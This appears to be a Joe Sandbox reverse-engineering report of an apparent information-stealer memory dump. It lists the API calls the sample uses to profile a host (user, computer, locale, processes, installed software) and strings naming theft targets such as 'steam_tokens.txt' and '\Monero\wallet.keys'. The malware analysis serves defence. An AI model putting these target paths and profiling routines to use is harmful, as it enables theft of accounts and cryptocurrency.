Part of subcall function 00297500: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0029757F
Part of subcall function 00297500: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00297603
Part of subcall function 00297500: RtlAllocateHeap.NTDLL(00000000), ref: 0029760A

Part of subcall function 0029A920: lstrcpy.KERNEL32(00000000,?), ref: 0029A972
Part of subcall function 0029A920: lstrcat.KERNEL32(00000000), ref: 0029A982

Part of subcall function 00297690: GetProcessHeap.KERNEL32(00000000,00000104), ref: 002976A4
Part of subcall function 00297690: RtlAllocateHeap.NTDLL(00000000), ref: 002976AB

Part of subcall function 002977C0: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,0029DBC0,000000FF,?,00291C99,00000000,?,00E4D1F8,00000000,?), ref: 002977F2
Part of subcall function 002977C0: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,0029DBC0,000000FF,?,00291C99,00000000,?,00E4D1F8,00000000,?), ref: 002977F9

Part of subcall function 00297850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,002811B7), ref: 00297880
Part of subcall function 00297850: RtlAllocateHeap.NTDLL(00000000), ref: 00297887
Part of subcall function 00297850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0029789F

Part of subcall function 002978E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00297910
Part of subcall function 002978E0: RtlAllocateHeap.NTDLL(00000000), ref: 00297917
Part of subcall function 002978E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0029792F

Part of subcall function 00297980: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,002A0E00,00000000,?), ref: 002979B0
Part of subcall function 00297980: RtlAllocateHeap.NTDLL(00000000), ref: 002979B7
Part of subcall function 00297980: GetLocalTime.KERNEL32(?,?,?,?,?,002A0E00,00000000,?), ref: 002979C4
Part of subcall function 00297980: wsprintfA.USER32 ref: 002979F3

Part of subcall function 00297A30: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,00E4D9F8,00000000,?,002A0E10,00000000,?,00000000,00000000), ref: 00297A63
Part of subcall function 00297A30: RtlAllocateHeap.NTDLL(00000000), ref: 00297A6A
Part of subcall function 00297A30: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,00E4D9F8,00000000,?,002A0E10,00000000,?,00000000,00000000,?), ref: 00297A7D

Part of subcall function 00297B00: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,00E4D9F8,00000000,?,002A0E10,00000000,?,00000000,00000000), ref: 00297B35

Part of subcall function 00297B90: GetKeyboardLayoutList.USER32(00000000,00000000,002A05AF), ref: 00297BE1
Part of subcall function 00297B90: LocalAlloc.KERNEL32(00000040,?), ref: 00297BF9
Part of subcall function 00297B90: GetKeyboardLayoutList.USER32(?,00000000), ref: 00297C0D
Part of subcall function 00297B90: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00297C62
Part of subcall function 00297B90: LocalFree.KERNEL32(00000000), ref: 00297D22

Part of subcall function 00297D80: GetSystemPowerStatus.KERNEL32(?), ref: 00297DAD

GetCurrentProcessId.KERNEL32(00000000,?,00E4D198,00000000,?,002A0E24,00000000,?,00000000,00000000,?,00E4DA58,00000000,?,002A0E20,00000000), ref: 0029207E

Part of subcall function 00299470: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00299484
Part of subcall function 00299470: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 002994A5
Part of subcall function 00299470: CloseHandle.KERNEL32(00000000), ref: 002994AF

Part of subcall function 00297E00: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00297E37
Part of subcall function 00297E00: RtlAllocateHeap.NTDLL(00000000), ref: 00297E3E
Part of subcall function 00297E00: RegOpenKeyExA.KERNEL32(80000002,00E3B888,00000000,00020119,?), ref: 00297E5E
Part of subcall function 00297E00: RegQueryValueExA.KERNEL32(?,00E4D2D8,00000000,00000000,000000FF,000000FF), ref: 00297E7F
Part of subcall function 00297E00: RegCloseKey.ADVAPI32(?), ref: 00297E92

Part of subcall function 00297F60: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00297FC9
Part of subcall function 00297F60: GetLastError.KERNEL32 ref: 00297FD8

Part of subcall function 00297ED0: GetSystemInfo.KERNEL32(002A0E2C), ref: 00297F00
Part of subcall function 00297ED0: wsprintfA.USER32 ref: 00297F16

Part of subcall function 00298100: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,00E4D800,00000000,?,002A0E2C,00000000,?,00000000), ref: 00298130
Part of subcall function 00298100: RtlAllocateHeap.NTDLL(00000000), ref: 00298137
Part of subcall function 00298100: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00298158
Part of subcall function 00298100: __aulldiv.LIBCMT ref: 00298172
Part of subcall function 00298100: __aulldiv.LIBCMT ref: 00298180
Part of subcall function 00298100: wsprintfA.USER32 ref: 002981AC

Part of subcall function 002987C0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,002A0E28,00000000,?), ref: 0029882F
Part of subcall function 002987C0: RtlAllocateHeap.NTDLL(00000000), ref: 00298836
Part of subcall function 002987C0: wsprintfA.USER32 ref: 00298850

Part of subcall function 00298320: RegOpenKeyExA.KERNEL32(00000000,00E4AE40,00000000,00020019,00000000,002A05B6), ref: 002983A4

Part of subcall function 00298320: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00298426
Part of subcall function 00298320: wsprintfA.USER32 ref: 00298459
Part of subcall function 00298320: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0029847B
Part of subcall function 00298320: RegCloseKey.ADVAPI32(00000000), ref: 0029848C
Part of subcall function 00298320: RegCloseKey.ADVAPI32(00000000), ref: 00298499

Part of subcall function 00298680: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,002A05B7), ref: 002986CA
Part of subcall function 00298680: Process32First.KERNEL32(?,00000128), ref: 002986DE
Part of subcall function 00298680: Process32Next.KERNEL32(?,00000128), ref: 002986F3
Part of subcall function 00298680: CloseHandle.KERNEL32(?), ref: 00298761

lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 0029265B

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$Allocate$Closewsprintf$NameOpenlstrcpy$InformationLocal$CurrentHandleInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$AllocComputerCreateDefaultDirectoryEnumErrorFileFirstFreeGlobalLastLogicalMemoryModuleNextPowerProcessorQuerySnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 3113730047-0
Opcode ID: 2fc13baeb5ef6ecbfa727d0e5fd0c7f4585563e2bae98629472cbbdb447fd113
Instruction ID: 1f3f6a525349a29201e7d276df476c499db6a17688fb80aaeebcc40cfd7a8827
Opcode Fuzzy Hash: 2fc13baeb5ef6ecbfa727d0e5fd0c7f4585563e2bae98629472cbbdb447fd113
Instruction Fuzzy Hash: 6A720D72C31218AADF19FB90DC92DEE7378BF55300F5442A9B51762051EF302B69CEA6

Function 00286D40 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c16ec599a64124a2c19ecdfdb4a7c1b9f7fe2e94a052ba4e9d9f5ffc845da0e
Instruction ID: b70a47d964cee7c766a5d6046c4ec38c1c45e8c365a40f00dc4e10ef156dcfc2
Opcode Fuzzy Hash: 5c16ec599a64124a2c19ecdfdb4a7c1b9f7fe2e94a052ba4e9d9f5ffc845da0e
Instruction Fuzzy Hash: 35615BB8D11209DFCB14EF94E948BEEB7B0BB04304F148198E51A6B280D775EEA4DF91

Function 00295100 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0029A740: lstrcpy.KERNEL32(002A0E17,00000000), ref: 0029A788

Part of subcall function 0029A820: lstrlen.KERNEL32(00284F05,?,?,00284F05,002A0DDE), ref: 0029A82B
Part of subcall function 0029A820: lstrcpy.KERNEL32(002A0DDE,00000000), ref: 0029A885

lstrlen.KERNEL32(00000000,00000000,002A0ACA), ref: 0029512A

Strings

steam_tokens.txt, xrefs: 0029513F

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: dea4a25632dbd61f9d268c2061002c11456ccd1917a6de2685d88457316e817b
Instruction ID: a9c0c8717fd06e04231fcc1fdd1ea0828a9451d9981f7bac9808a1ef17a33a5d
Opcode Fuzzy Hash: dea4a25632dbd61f9d268c2061002c11456ccd1917a6de2685d88457316e817b
Instruction Fuzzy Hash: B3F0B671D3020866DF04FBA0EC579EDB73CAF55340F804268B85662492EF246A39CBE6

Function 00297ED0 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(002A0E2C), ref: 00297F00
wsprintfA.USER32 ref: 00297F16

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: e2592bb3691bd898cc6c805d054ff0442d9b0b82d211d76bc49950b349ef5706
Instruction ID: 0f180c80069e394115e96c5607ae2360895ed4b694a1c50b4fb2638afdde729c
Opcode Fuzzy Hash: e2592bb3691bd898cc6c805d054ff0442d9b0b82d211d76bc49950b349ef5706
Instruction Fuzzy Hash: 4EF090B2A14208EBCB10CF84DC45FAAF7BCFB49B24F00066AF515A2680D7B569148BE5

Function 0028B4F0 Relevance: 2.9, APIs: 2, Instructions: 397stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0029A740: lstrcpy.KERNEL32(002A0E17,00000000), ref: 0029A788

Part of subcall function 0029A9B0: lstrlen.KERNEL32(?,00E48990,?,\Monero\wallet.keys,002A0E17), ref: 0029A9C5
Part of subcall function 0029A9B0: lstrcpy.KERNEL32(00000000), ref: 0029AA04
Part of subcall function 0029A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0029AA12

Part of subcall function 0029A920: lstrcpy.KERNEL32(00000000,?), ref: 0029A972
Part of subcall function 0029A920: lstrcat.KERNEL32(00000000), ref: 0029A982

Part of subcall function 0029A8A0: lstrcpy.KERNEL32(?,002A0E17), ref: 0029A905

Part of subcall function 0029A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0029A7E6

lstrlen.KERNEL32(00000000), ref: 0028B9C2
lstrlen.KERNEL32(00000000), ref: 0028B9D6

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 856a175df76853aaa7fb80d273cb1d95e535bffef4642568c45296868d48b349
Instruction ID: bd614e3dd6f10fdfeddcbb9c4fc8d7d2ca0a51e8641659133cc7522a28759cec
Opcode Fuzzy Hash: 856a175df76853aaa7fb80d273cb1d95e535bffef4642568c45296868d48b349
Instruction Fuzzy Hash: B4E1CC729302189BDF15FBA0DC96EEE7338BF54300F404569F506660A1EF346A69CFA6

Function 0028AEF0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0029A740: lstrcpy.KERNEL32(002A0E17,00000000), ref: 0029A788

Part of subcall function 0029A9B0: lstrlen.KERNEL32(?,00E48990,?,\Monero\wallet.keys,002A0E17), ref: 0029A9C5
Part of subcall function 0029A9B0: lstrcpy.KERNEL32(00000000), ref: 0029AA04
Part of subcall function 0029A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0029AA12

Part of subcall function 0029A920: lstrcpy.KERNEL32(00000000,?), ref: 0029A972
Part of subcall function 0029A920: lstrcat.KERNEL32(00000000), ref: 0029A982

Part of subcall function 0029A8A0: lstrcpy.KERNEL32(?,002A0E17), ref: 0029A905

lstrlen.KERNEL32(00000000), ref: 0028B16A
lstrlen.KERNEL32(00000000), ref: 0028B17E

Part of subcall function 0029A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0029A7E6

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 428ee6839ae70d99d0a2909a10444b7b6b512dd0b92105303b14ff27719a509a
Instruction ID: b5c35ebae64e85247cce0336ac7b2a471154533c7d62324d52588eca707f2c35
Opcode Fuzzy Hash: 428ee6839ae70d99d0a2909a10444b7b6b512dd0b92105303b14ff27719a509a
Instruction Fuzzy Hash: 7B91DA729302189BDF04FBA0DC96DEE7338BF54304F404269F506A6191EF346A29CFA6

Function 0028B230 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0029A740: lstrcpy.KERNEL32(002A0E17,00000000), ref: 0029A788

